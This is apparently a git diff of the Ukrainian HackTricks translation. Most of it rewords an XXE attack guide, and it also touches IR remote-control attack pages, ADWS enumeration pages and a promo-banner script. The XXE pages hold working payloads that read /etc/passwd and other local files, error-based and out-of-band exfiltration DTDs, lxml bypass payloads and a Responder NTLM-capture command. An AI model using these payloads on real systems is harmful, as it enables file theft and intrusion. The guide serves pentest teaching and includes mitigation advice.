Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, що використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -205,7 +205,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, що присутні в системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
|
||||
Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, присутніх у системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -221,11 +221,11 @@ Testing 0 entities : []
|
||||
|
||||
Для більш детального пояснення цієї атаки, **перегляньте другий розділ** [**цього чудового посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
|
||||
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім продовжують витягувати певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде проаналізувати принаймні один XML файл.
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім продовжують витягувати певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
|
||||
|
||||
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
|
||||
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати в улюбленому текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
Після того, як документ буде розпакований, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
|
||||
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
|
||||
|
||||
@ -245,11 +245,11 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
|
||||
|
||||
1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
|
||||
2. HTTP-відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт `/tmp/...`.
|
||||
1. Виконується HTTP запит для завантаження zip архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
|
||||
2. HTTP відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у такому місці, як `/tmp/...`.
|
||||
3. Архів потім розпаковується для доступу до його вмісту.
|
||||
4. Конкретний файл в архіві, `file.zip`, читається.
|
||||
5. Після завершення операції всі тимчасові файли, створені під час цього процесу, видаляються.
|
||||
5. Після операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
|
||||
|
||||
Цікава техніка для переривання цього процесу на другому етапі полягає в тому, щоб підтримувати з'єднання з сервером відкритим безкінечно під час обслуговування архівного файлу. Інструменти, доступні в [цьому репозиторії](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution), можуть бути використані для цієї мети, включаючи Python сервер (`slow_http_server.py`) та Java сервер (`slowserver.jar`).
|
||||
```xml
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Отримання NTML
|
||||
|
||||
На хостах Windows можливо отримати хеш NTML користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
На хостах Windows можливо отримати NTML хеш користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -310,9 +310,9 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` надає рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод є ефективним навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
|
||||
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
Щоб виконати атаку `XInclude`, потрібно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -322,9 +322,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
Файли, завантажені користувачами до певних додатків, які потім обробляються на сервері, можуть експлуатувати вразливості в тому, як обробляються XML або формати файлів, що містять XML. Загальні формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.
|
||||
|
||||
Коли користувачі **завантажують зображення**, ці зображення обробляються або перевіряються на стороні сервера. Навіть для додатків, які очікують формати, такі як PNG або JPEG, **бібліотека обробки зображень сервера також може підтримувати зображення SVG**. SVG, будучи форматом на основі XML, може бути використаний зловмисниками для подання шкідливих SVG-зображень, тим самим піддаючи сервер вразливостям XXE (XML External Entity).
|
||||
Коли користувачі **завантажують зображення**, ці зображення обробляються або перевіряються на стороні сервера. Навіть для додатків, які очікують формати, такі як PNG або JPEG, **бібліотека обробки зображень сервера також може підтримувати зображення SVG**. SVG, будучи форматом на основі XML, може бути використаний зловмисниками для подання шкідливих SVG зображень, тим самим піддаючи сервер вразливостям XXE (XML External Entity).
|
||||
|
||||
Приклад такого експлуатації наведено нижче, де шкідливе SVG-зображення намагається прочитати системні файли:
|
||||
Приклад такого експлойту наведено нижче, де шкідливе SVG зображення намагається прочитати системні файли:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
@ -338,7 +338,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
|
||||
|
||||
**Зверніть увагу, що перший рядок з прочитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
**Зверніть увагу, що перший рядок зчитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
|
||||
### **PDF - Завантаження файлу**
|
||||
|
||||
@ -358,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Тоді ви, можливо, зможете надіслати наступний запит з тим же результатом:
|
||||
Тоді ви, можливо, зможете надіслати наступний запит з тим самим результатом:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -500,7 +500,7 @@ Content-Type: application/x-xliff+xml
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Незважаючи на помилку, на Burp Collaborator зафіксовано запит, що вказує на певний рівень взаємодії з зовнішньою сутністю.
|
||||
Незважаючи на помилку, на Burp Collaborator зафіксовано запит, що вказує на певний рівень взаємодії з зовнішнім об'єктом.
|
||||
|
||||
Out of Band Data Exfiltration Щоб ексфільтрувати дані, надсилається модифікований запит:
|
||||
```
|
||||
@ -527,14 +527,14 @@ Content-Type: application/x-xliff+xml
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
Щоб включити вміст файлу в повідомлення про помилку, файл DTD налаштовується:
|
||||
Щоб включити вміст файлу в повідомлення про помилку, DTD файл налаштовується:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Ця модифікація призводить до успішної ексфільтрації вмісту файлу, оскільки це відображається в виході помилки, надісланому через HTTP. Це вказує на успішну атаку XXE (XML External Entity), що використовує як Out of Band, так і Error-Based техніки для витягання чутливої інформації.
|
||||
Ця модифікація призводить до успішної ексфільтрації вмісту файлу, оскільки це відображається в виході помилки, надісланому через HTTP. Це вказує на успішну атаку XXE (XML External Entity), що використовує як Out of Band, так і Error-Based техніки для витягнення чутливої інформації.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Параметр-Ентіті XXE (Витік файлів на основі помилок)
|
||||
|
||||
> [!INFO]
|
||||
> Бібліотека Python **lxml** використовує **libxml2** під капотом. Версії до **lxml 5.4.0 / libxml2 2.13.8** все ще розширюють *параметр* ентіті, навіть коли `resolve_entities=False`, що робить їх доступними, коли програма активує `load_dtd=True` і/або `resolve_entities=True`. Це дозволяє використовувати навантаження XXE на основі помилок, які вбудовують вміст локальних файлів у повідомлення про помилку парсера.
|
||||
> Бібліотека Python **lxml** використовує **libxml2** під капотом. Версії до **lxml 5.4.0 / libxml2 2.13.8** все ще розширюють *параметр* ентіті, навіть коли `resolve_entities=False`, що робить їх доступними, коли додаток активує `load_dtd=True` і/або `resolve_entities=True`. Це дозволяє використовувати навантаження XXE на основі помилок, які вбудовують вміст локальних файлів у повідомлення про помилку парсера.
|
||||
|
||||
#### 1. Використання lxml < 5.4.0
|
||||
1. Визначте або створіть *локальний* DTD на диску, який визначає **невизначену** параметр ентіті (наприклад, `%config_hex;`).
|
||||
@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Перевизначає невизначену ентіті так, щоб вона:
|
||||
- Читала цільовий файл (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Створювала іншу параметр ентіті, яка посилається на **недійсний шлях**, що містить значення `%flag;` і викликає помилку парсера (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Нарешті, розширте `%local_dtd;` і `%eval;`, щоб парсер натрапив на `%error;`, не зміг відкрити `/aaa/<FLAG>` і витікнув прапор всередині викинутої виняткової ситуації – що часто повертається користувачу програмою.
|
||||
3. Нарешті, розширте `%local_dtd;` і `%eval;`, щоб парсер натрапив на `%error;`, не зміг відкрити `/aaa/<FLAG>` і витікнув прапор всередині викинутої виняткової ситуації – що часто повертається користувачу додатком.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -711,8 +711,8 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> [!TIP]
|
||||
> Якщо парсер скаржиться на символи `%`/`&` всередині внутрішнього підмножини, подвоюйте їх кодування (`&#x25;` ⇒ `%`), щоб затримати розширення.
|
||||
|
||||
#### 2. Обхід посилення lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметричні* сутності помилок, як у наведеному вище прикладі, але **libxml2** все ще дозволяє їх вбудовувати в *загальну* сутність. Трюк полягає в тому, щоб:
|
||||
#### 2. Обхід зміцнення lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметр* сутності помилок, як у наведеному вище прикладі, але **libxml2** все ще дозволяє їх вбудовувати в *загальну* сутність. Трюк полягає в тому, щоб:
|
||||
1. Прочитати файл у параметричну сутність `%file`.
|
||||
2. Оголосити іншу параметричну сутність, яка створює **загальну** сутність `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад `meow://%file;`.
|
||||
3. Розмістити `&c;` в тілі XML. Коли парсер намагається розіменувати `meow://…`, він зазнає невдачі і відображає повний URI – включаючи вміст файлу – в повідомленні про помилку.
|
||||
@ -726,10 +726,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Ключові висновки
|
||||
#### Основні висновки
|
||||
* **Параметричні сутності** все ще розширюються libxml2, навіть коли `resolve_entities` має блокувати XXE.
|
||||
* **Недійсний URI** або **неіснуючий файл** достатні для конкатенації контрольованих даних у викинутому виключенні.
|
||||
* Техніка працює **без вихідного з'єднання**, що робить її ідеальною для середовищ з суворим фільтром виходу.
|
||||
* Техніка працює **без вихідного з'єднання**, що робить її ідеальною для середовищ з суворими фільтрами виходу.
|
||||
|
||||
#### Рекомендації щодо пом'якшення
|
||||
* Оновіть до **lxml ≥ 5.4.0** і переконайтеся, що підлягаюча **libxml2** є **≥ 2.13.8**.
|
||||
@ -763,7 +763,7 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Якщо додаток повинен підтримувати DTD всередині, залишайте `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також вектором SSRF на основі мережі (`http://169.254.169.254/…`, протокол `jar:` тощо).
|
||||
Якщо додаток повинен підтримувати DTD всередині, залиште `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також мережевим векторами SSRF (`http://169.254.169.254/…`, протокол `jar:` тощо).
|
||||
|
||||
Дослідження з реального світу: **CVE-2025-27136** в емуляторі Java S3 *LocalS3* використовував вразливий конструктор, показаний вище. Неавтентифікований зловмисник міг надати підготовлене XML тіло до кінцевої точки `CreateBucketConfiguration` і змусити сервер вбудувати локальні файли (наприклад, `/etc/passwd`) у HTTP-відповідь.
|
||||
|
||||
|
@ -30,18 +30,18 @@
|
||||
|
||||
<figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**3. Фазове кодування**
|
||||
**3. Кодування фази**
|
||||
|
||||
Це також відоме як кодування Манчестера. Логічне значення визначається полярністю переходу між сплеском імпульсу та простором. "Простір до сплеску імпульсу" позначає логіку "0", "сплеск імпульсу до простору" позначає логіку "1".
|
||||
Це також відомо як кодування Манчестера. Логічне значення визначається полярністю переходу між сплеском імпульсу та простором. "Простір до сплеску імпульсу" позначає логіку "0", "сплеск імпульсу до простору" позначає логіку "1".
|
||||
|
||||
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**4. Комбінація попередніх та інших екзотичних**
|
||||
**4. Комбінація попередніх і інших екзотичних**
|
||||
|
||||
> [!TIP]
|
||||
> Існують ІЧ-протоколи, які **намагаються стати універсальними** для кількох типів пристроїв. Найвідомішими є RC5 та NEC. На жаль, найвідоміше **не означає найпоширеніше**. У моєму середовищі я зустрів лише два пульти NEC і жодного RC5.
|
||||
> Існують ІЧ-протоколи, які **намагаються стати універсальними** для кількох типів пристроїв. Найвідоміші з них — RC5 і NEC. На жаль, найвідоміше **не означає найпоширеніше**. У моєму середовищі я зустрів лише два пульти NEC і жодного RC5.
|
||||
>
|
||||
> Виробники люблять використовувати свої унікальні ІЧ-протоколи, навіть у межах одного і того ж діапазону пристроїв (наприклад, ТВ-бокси). Тому пульти від різних компаній і іноді від різних моделей однієї компанії не можуть працювати з іншими пристроями одного типу.
|
||||
> Виробники люблять використовувати свої унікальні ІЧ-протоколи, навіть у межах одного і того ж діапазону пристроїв (наприклад, ТВ-бокси). Тому пульти від різних компаній і іноді від різних моделей однієї компанії не можуть працювати з іншими пристроями того ж типу.
|
||||
|
||||
### Дослідження ІЧ-сигналу
|
||||
|
||||
@ -86,7 +86,7 @@ flipper-zero/fz-infrared.md
|
||||
|
||||
* Фізично захистити або видалити ІЧ-світлодіоди в чутливих зонах
|
||||
* Моніторити робочий цикл світлодіодів камер і цілісність прошивки
|
||||
* Встановити ІЧ-фільтри на вікна та камери спостереження
|
||||
* Встановити ІЧ-фільтри на вікнах і камерах спостереження
|
||||
|
||||
Атакуючий також може використовувати потужні ІЧ-прожектори, щоб **внедрити** команди в мережу, миготячи даними назад до незахищених камер.
|
||||
|
||||
@ -117,8 +117,8 @@ sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
|
||||
delay(5000);
|
||||
}
|
||||
```
|
||||
* **IRscrutinizer / AnalysIR** – GUI декодери, які імпортують сирі захоплення та автоматично ідентифікують протокол + генерують код Pronto/Arduino.
|
||||
* **LIRC / ir-keytable (Linux)** – отримувати та впроваджувати ІЧ з командного рядка:
|
||||
* **IRscrutinizer / AnalysIR** – графічні декодери, які імпортують сирі захоплення та автоматично ідентифікують протокол + генерують код Pronto/Arduino.
|
||||
* **LIRC / ir-keytable (Linux)** – отримують і впроваджують ІЧ з командного рядка:
|
||||
```bash
|
||||
sudo ir-keytable -p nec,rc5 -t # live-dump decoded scancodes
|
||||
irsend SEND_ONCE samsung KEY_POWER
|
||||
@ -128,10 +128,10 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Заходи захисту <a href="#defense" id="defense"></a>
|
||||
|
||||
* Вимкнути або закрити ІЧ-приймачі на пристроях, розгорнуті в громадських місцях, коли це не потрібно.
|
||||
* Вимагати *пару* або криптографічні перевірки між смарт-ТВ та пультами; ізолювати привілейовані "сервісні" коди.
|
||||
* Встановити ІЧ-фільтри або детектори безперервної хвилі навколо закритих зон, щоб зламати оптичні приховані канали.
|
||||
* Моніторити цілісність прошивки камер/IoT-пристроїв, які відкривають керовані ІЧ-світлодіоди.
|
||||
* Вимкніть або закрийте ІЧ-приймачі на пристроях, розгорнуті в громадських місцях, коли це не потрібно.
|
||||
* Впровадьте *пару* або криптографічні перевірки між смарт-ТВ та пультами; ізолюйте привілейовані "сервісні" коди.
|
||||
* Встановіть ІЧ-фільтри або детектори безперервної хвилі в навколо закритих зон, щоб зламати оптичні приховані канали.
|
||||
* Моніторте цілісність прошивки камер/IoT-пристроїв, які відкривають контрольовані ІЧ-світлодіоди.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -8,7 +8,7 @@ Active Directory Web Services (ADWS) **включено за замовчува
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
Оскільки трафік інкапсульований всередині цих бінарних SOAP-рамок і проходить через незвичайний порт, **перерахування через ADWS значно менш імовірно, що буде перевірено, відфільтровано або підписано, ніж класичний трафік LDAP/389 та 636**. Для операторів це означає:
|
||||
Оскільки трафік інкапсульований всередині цих бінарних SOAP-рамок і проходить через незвичайний порт, **перерахування через ADWS набагато менш імовірно, що буде перевірено, відфільтровано або підписано, ніж класичний трафік LDAP/389 & 636**. Для операторів це означає:
|
||||
|
||||
* Менш помітне розвідка – команди Blue часто зосереджуються на запитах LDAP.
|
||||
* Свобода збору з **не-Windows хостів (Linux, macOS)** шляхом тунелювання 9389/TCP через SOCKS-проксі.
|
||||
@ -92,9 +92,9 @@ New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
|
||||
|
||||
| Мета | Інструмент | Примітки |
|
||||
|------|------------|----------|
|
||||
| Перерахунок ADWS | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, читання/запис |
|
||||
| Імпорт BloodHound | [BOFHound](https://github.com/bohops/BOFHound) | Конвертує журнали SoaPy/ldapsearch |
|
||||
| Компрометація сертифіката | [Certipy](https://github.com/ly4k/Certipy) | Може бути проксійований через той же SOCKS |
|
||||
| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, читання/запис |
|
||||
| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Конвертує журнали SoaPy/ldapsearch |
|
||||
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Може бути проксійований через той же SOCKS |
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -18,7 +18,7 @@ adws-enumeration.md
|
||||
* Редагування атрибутів об'єктів та дескрипторів безпеки
|
||||
* Створення / порівняння знімків для офлайн-аналізу
|
||||
|
||||
### Швидке використання
|
||||
### Quick usage
|
||||
|
||||
1. Запустіть інструмент і підключіться до `dc01.corp.local` з будь-якими обліковими даними домену.
|
||||
2. Створіть офлайн-знімок через `File ➜ Create Snapshot`.
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user